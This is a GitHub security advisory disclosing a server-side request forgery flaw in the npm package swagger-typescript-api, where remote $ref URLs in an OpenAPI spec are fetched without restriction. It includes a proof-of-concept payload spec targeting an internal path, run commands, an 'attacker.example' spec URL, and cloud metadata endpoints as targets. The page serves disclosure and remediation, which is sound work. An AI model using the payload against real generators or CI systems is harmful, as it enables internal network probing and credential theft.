GitHub Advisoryadvisory · npm

GHSA-x36r-4347-pm5x swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`

MEDIUM Published 2026-07-29 Modified 2026-07-29 Official page ↗
Aliases
CVE-2026-54663
Ecosystem
npm
Packages
swagger-typescript-api
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weaknesses
CWE-20, CWE-441, CWE-918
Reviewed
2026-07-29

Affected packages

• npm swagger-typescript-api: < 13.12.2 → fixed in 13.12.2

Description

Summary `swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`. The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR). Details `SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`: ```ts // src/resolved-swagger-schema.ts:399-445 private async warmUpRemoteSchemasCache() { if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) { return; } const visited = new Set(); const queue = [this.stripHash(this.config.url)]; while (queue.length > 0) { const currentUrl = queue.shift(); if (!currentUrl || visited.has(currentUrl)) continue; visited.add(currentUrl); if (this.externalSchemaCache.has(currentUrl)) continue; const schema = await this.fetchRemoteSchemaDocument(currentUrl); // /spec.json`): ```json { "openapi": "3.0.0", "info": { "title": "SSRF-payload", "version": "1.0.0" }, "paths": { "/p": { "get": { "operationId": "p", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://127.0.0.1:/INTERNAL_ONLY_PATH/secret.json" } } } } } } } } } ``` Steps: ```bash 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec. 2. Start a loopback "spec" HTTP server that serves the payload spec above. 3. Point the generator at the spec server. npm install [email protected] node -e "import('swagger-typescript-api').then(m => m.generateApi({ output: '/tmp/out', url: 'http://127.0.0.1:/spec.json', httpClientType: 'fetch' }))" ``` Observed (control vs payload): ``` [control] (no external $ref in spec) → internal-server hits: 0 [payload] ($ref → http://127.0.0.1:/...) → internal-server hits: 1 hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1: ``` The internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator's `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services. Impact Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool. Affected use cases: • A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec. • A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs). • A CI/CD pipeline regenerating clients from a spec on every build. • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. • Any project where a contributor can modify the pinned spec via a pull request. What an attacker can do with this: • Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states. • Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information. • Trigger side effects in internal services that have GET-mutating endpoints (rare but real). • Combine with the companion finding (Authorization-token forwarding to `$ref` URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration. Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported. Suggested fix: Defense in depth at three layers, in priority order: 1. Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding. 2. Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-in `fetch`. 3. Set `redirect: "manual"` in the `fetch` options and validate each redirect URL through the same allowlist before following it. If full SSRF mitigation is too invasive for a code-g…

Related

Alias · CVE (1)

  • CVE-2026-54663 swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. vulnerability

Weakness · CWE (3)

  • CWE-20 Improper Input Validation weakness
  • CWE-441 Unintended Proxy or Intermediary weakness
  • CWE-918 Server-Side Request Forgery weakness

References